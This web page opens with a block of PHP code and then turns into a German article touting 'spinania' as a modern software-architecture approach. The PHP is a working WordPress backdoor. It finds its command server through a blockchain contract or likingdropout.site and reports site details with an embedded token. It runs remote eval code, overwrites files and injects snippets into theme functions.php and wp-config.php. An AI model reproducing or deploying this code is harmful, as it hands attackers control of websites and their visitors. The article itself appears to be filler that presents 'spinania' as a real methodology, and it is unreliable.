// wq_j1 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home1/ivalktte/public_html/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// wq_j1', 'vis'=>'// p9_87', 'vis_func'=>'wp_xzc79r', 'vis_paths'=>array('/home1/ivalktte/public_html/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_hp9gkbn5', ); $keys=array(); $keys['id']='k5z'; $keys['ver']='g7'; $keys['caps']='4sq'; $keys['tasks']='dxd'; $keys['interval']='hp4'; $keys['ack_id']='buo'; $keys['ok']='tr'; $keys['detail']='y91'; $keys['inv']='2d7'; $keys['result']='bjc'; $hdr='X-XDH-Auth';$tok='WikA0829hTuA1fpFDgtUKptd1d2zs3lVs27pxQTg8rQ';$id='bdf194827e552ad9';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Aktuelle Lösungen und spinania erleichtern moderne Entwicklungsprozesse deutlich

Aktuelle Lösungen und spinania erleichtern moderne Entwicklungsprozesse deutlich

Aktuelle Lösungen und spinania erleichtern moderne Entwicklungsprozesse deutlich Die Grundlagen von spinania und seine Auswirkungen auf die Softwarearchitektur Die Bedeutung von Microservices im Kontext von spinania Die Rolle von spinania in der modernen Softwareentwicklung Automatisierung und DevOps im Kontext von spinania Spinania und die Herausforderungen der Cloud-nativen Entwicklung Best Practices für die Implementierung von spinania…


Aktuelle Lösungen und spinania erleichtern moderne Entwicklungsprozesse deutlich

Die moderne Softwareentwicklung steht vor ständigen Herausforderungen, die eine effiziente und flexible Arbeitsweise erfordern. Neue Technologien und Paradigmen entstehen rasant, und Entwicklerteams müssen in der Lage sein, sich schnell anzupassen. In diesem Kontext gewinnen innovative Lösungen, wie beispielsweise Ansätze, die auf der Konzeption von spinania basieren, zunehmend an Bedeutung. Diese Konzepte versprechen eine deutliche Vereinfachung und Beschleunigung von Entwicklungsprozessen, indem sie traditionelle Hürden überwinden und neue Möglichkeiten eröffnen.

Die Komplexität moderner Softwareprojekte erfordert ein Umdenken in Bezug auf die Werkzeuge und Methoden, die zum Einsatz kommen. Agile Entwicklungsmethoden, DevOps-Praktiken und die Automatisierung von Prozessen sind bereits weit verbreitet, aber es besteht weiterhin Bedarf an Lösungen, die die Entwicklung noch effizienter und zuverlässiger gestalten. Hier setzt die Philosophie von spinania an, indem sie eine neue Perspektive auf die Gestaltung von Softwarearchitekturen und die Interaktion zwischen den einzelnen Komponenten bietet. Die Grundlage für erfolgreiche Projekte ist die klare Struktur und die Vermeidung unnötiger Komplexität, welche spinania in ihren Konzepten berücksichtigt.

Die Grundlagen von spinania und seine Auswirkungen auf die Softwarearchitektur

Spinania ist kein einzelnes Werkzeug oder eine bestimmte Technologie, sondern vielmehr eine Sammlung von Prinzipien und Praktiken, die darauf abzielen, die Softwarearchitektur zu vereinfachen und die Wartbarkeit zu erhöhen. Ein zentraler Aspekt ist die Dekomposition komplexer Systeme in kleinere, unabhängige Module, die jeweils eine klar definierte Aufgabe erfüllen. Diese Modularisierung ermöglicht es, einzelne Komponenten unabhängig voneinander zu entwickeln, zu testen und zu aktualisieren, was die Flexibilität und Skalierbarkeit des Gesamtsystems verbessert. Die Prinzipien der losen Kopplung und hohen Kohäsion spielen dabei eine entscheidende Rolle. Lose Kopplung bedeutet, dass die Module so gestaltet sind, dass sie möglichst wenig voneinander abhängig sind, während hohe Kohäsion sicherstellt, dass die einzelnen Module intern gut strukturiert sind und eine klare Verantwortung haben. Dies reduziert die Auswirkungen von Änderungen an einem Modul auf andere Teile des Systems und erleichtert die Wiederverwendung von Komponenten in anderen Projekten.

Die Bedeutung von Microservices im Kontext von spinania

Microservices sind ein Architekturansatz, der sich perfekt mit den Prinzipien von spinania ergänzt. Microservices zerlegen eine Anwendung in kleine, unabhängige Dienste, die über APIs miteinander kommunizieren. Jeder Microservice ist für eine bestimmte Geschäftsfunktion verantwortlich und kann unabhängig von anderen Diensten entwickelt, bereitgestellt und skaliert werden. Dies ermöglicht eine hohe Flexibilität und Reaktionsfähigkeit auf sich ändernde Anforderungen. Die Implementierung von Microservices erfordert jedoch auch eine sorgfältige Planung und Koordination, um sicherzustellen, dass die einzelnen Dienste reibungslos zusammenarbeiten. Werkzeuge und Frameworks für das Management von Microservices, wie Kubernetes oder Docker Swarm, können hierbei wertvolle Unterstützung leisten. Die Wahl der richtigen Technologie und die Implementierung einer robusten Infrastruktur sind entscheidend für den Erfolg von Microservice-Architekturen.

Architekturansatz Vorteile Nachteile
Monolithische Architektur Einfache Entwicklung und Bereitstellung Schwer zu skalieren, geringe Flexibilität
Microservice-Architektur Hohe Skalierbarkeit, große Flexibilität Komplexe Entwicklung und Bereitstellung
Spinania-basierte Architektur Vereinfachte Architektur, hohe Wartbarkeit Erfordert Umdenken und neue Fähigkeiten

Die Tabelle verdeutlicht, dass jeder Architekturansatz seine Vor- und Nachteile hat. Spinania zielt darauf ab, die Vorteile von Microservices mit der Einfachheit einer monolithischen Architektur zu kombinieren und so eine optimale Lösung für komplexe Entwicklungsprojekte zu bieten.

Die Rolle von spinania in der modernen Softwareentwicklung

Die Anwendung von spinania-Prinzipien in der modernen Softwareentwicklung geht über die reine Architekturgestaltung hinaus. Es umfasst auch die Implementierung von Best Practices in Bezug auf Codequalität, Testabdeckung und Continuous Integration/Continuous Delivery (CI/CD). Ein sauberer und gut dokumentierter Code ist unerlässlich, um die Wartbarkeit und Verständlichkeit des Systems zu gewährleisten. Automatisierte Tests sind wichtig, um Fehler frühzeitig zu erkennen und die Qualität der Software sicherzustellen. CI/CD-Pipelines ermöglichen eine schnelle und zuverlässige Bereitstellung neuer Versionen der Software. Diese Aspekte sind eng miteinander verbunden und tragen alle dazu bei, den Entwicklungsprozess effizienter und zuverlässiger zu gestalten. Die Einhaltung von Coding-Standards und die Durchführung regelmäßiger Code-Reviews sind ebenfalls wichtige Bestandteile einer erfolgreichen spinania-basierten Entwicklung.

Automatisierung und DevOps im Kontext von spinania

Die Automatisierung von Prozessen ist ein Schlüsselfaktor für den Erfolg moderner Softwareprojekte. DevOps-Praktiken, die die Zusammenarbeit zwischen Entwicklern und Operations-Teams fördern, spielen dabei eine zentrale Rolle. Die Automatisierung von Build-, Test- und Bereitstellungsprozessen ermöglicht es, schnell und zuverlässig neue Versionen der Software bereitzustellen. Infrastructure as Code (IaC) ermöglicht es, die Infrastruktur automatisiert zu provisionieren und zu konfigurieren. Monitoring- und Logging-Tools liefern wertvolle Informationen über den Zustand des Systems und helfen bei der Fehlerbehebung. Die Integration dieser Werkzeuge und Prozesse in eine CI/CD-Pipeline ist entscheidend für die Realisierung der Vorteile von spinania.

  • Verbesserte Codequalität durch automatisierte Tests und Code-Reviews
  • Schnellere Bereitstellung neuer Funktionen und Fehlerbehebungen
  • Erhöhte Zuverlässigkeit und Stabilität des Systems
  • Reduzierte Kosten durch Automatisierung und effizientere Prozesse
  • Verbesserte Zusammenarbeit zwischen Entwicklern und Operations-Teams

Diese Punkte illustrieren die vielfältigen Vorteile, die sich durch die Anwendung von spinania-Prinzipien und die Integration von Automatisierung und DevOps-Praktiken ergeben. Die Kombination dieser Ansätze ermöglicht es Unternehmen, ihre Softwareentwicklungsprozesse zu optimieren und ihre Wettbewerbsfähigkeit zu steigern.

Spinania und die Herausforderungen der Cloud-nativen Entwicklung

Die Cloud-native Entwicklung stellt neue Anforderungen an die Softwarearchitektur und die Entwicklungsprozesse. Cloud-native Anwendungen sind in der Regel als Microservices konzipiert und werden in Containern ausgeführt, die von Orchestrierungssystemen wie Kubernetes verwaltet werden. Diese Architektur erfordert eine hohe Automatisierung und eine enge Integration mit den Cloud-Plattformen. Spinania bietet hier einen Rahmen, der die Gestaltung von Cloud-nativen Anwendungen vereinfacht und die Wartbarkeit erhöht. Die Prinzipien der Modularisierung, losen Kopplung und hohen Kohäsion sind auch in der Cloud-nativen Entwicklung von entscheidender Bedeutung. Darüber hinaus bietet spinania einen Ansatz, um die Komplexität der Cloud-Umgebung zu bewältigen und die Vorteile der Cloud optimal zu nutzen.

Best Practices für die Implementierung von spinania in der Cloud

Bei der Implementierung von spinania in der Cloud ist es wichtig, die spezifischen Anforderungen der Cloud-Plattform zu berücksichtigen. Die Verwendung von Managed Services, wie z.B. Datenbanken oder Messaging-Systeme, kann die Komplexität der Anwendung reduzieren und die Wartungskosten senken. Die Automatisierung der Infrastruktur mit Infrastructure as Code (IaC) ist unerlässlich, um die Konsistenz und Reproduzierbarkeit der Umgebung sicherzustellen. Die Überwachung und das Logging der Anwendung sind wichtig, um Probleme frühzeitig zu erkennen und die Performance zu optimieren. Die Implementierung von Sicherheitsrichtlinien und die Einhaltung von Compliance-Anforderungen sind ebenfalls von entscheidender Bedeutung. Die richtige Wahl der Werkzeuge und Frameworks ist entscheidend für den Erfolg der Implementierung. Die Integration mit den Cloud-spezifischen Diensten und die Einhaltung der Best Practices der Cloud-Plattform sind unerlässlich.

  1. Definieren Sie klare Schnittstellen zwischen den Microservices.
  2. Verwenden Sie automatisierte Tests, um die Qualität der Software sicherzustellen.
  3. Implementieren Sie eine robuste CI/CD-Pipeline.
  4. Überwachen Sie die Performance der Anwendung und passen Sie die Konfiguration bei Bedarf an.
  5. Sichern Sie die Anwendung und stellen Sie die Einhaltung von Compliance-Anforderungen sicher.

Diese Schritte helfen dabei, eine erfolgreiche Implementierung von spinania in der Cloud zu gewährleisten und die Vorteile der Cloud optimal zu nutzen.

Die Zukunft von spinania und seine potenziellen Anwendungsbereiche

Die Prinzipien und Praktiken, die spinania zugrunde liegen, sind zeitlos und können in einer Vielzahl von Anwendungsbereichen eingesetzt werden. Von Webanwendungen und mobilen Apps bis hin zu Embedded Systems und Big-Data-Analysen kann spinania dazu beitragen, die Qualität und Effizienz der Softwareentwicklung zu verbessern. Mit der Weiterentwicklung der Cloud-Technologien und der zunehmenden Verbreitung von Microservices wird die Bedeutung von spinania weiter zunehmen. Die Integration von künstlicher Intelligenz und maschinellem Lernen in die Softwareentwicklung wird neue Herausforderungen und Chancen eröffnen, die ebenfalls von den Prinzipien von spinania profitieren können. Die kontinuierliche Weiterentwicklung der Werkzeuge und Frameworks wird die Implementierung von spinania weiter vereinfachen und die Akzeptanz in der Entwicklergemeinschaft erhöhen.

Die Kernidee von spinania – die Vereinfachung komplexer Systeme durch Modularisierung und klare Strukturierung – bleibt auch in Zukunft relevant. Die Fähigkeit, sich schnell an neue Technologien und Anforderungen anzupassen, wird für Unternehmen immer wichtiger. Durch die Anwendung der Prinzipien von spinania können Unternehmen ihre Softwareentwicklungsprozesse optimieren und ihre Wettbewerbsfähigkeit sichern. Die Förderung des Wissensaustauschs und die Zusammenarbeit zwischen Entwicklern sind entscheidend für die Weiterentwicklung und Verbreitung von spinania. Die Schaffung einer Community von Experten und Praktikern wird dazu beitragen, die Best Practices zu identifizieren und die Herausforderungen der modernen Softwareentwicklung gemeinsam zu bewältigen.


Leave a Reply

Your email address will not be published. Required fields are marked *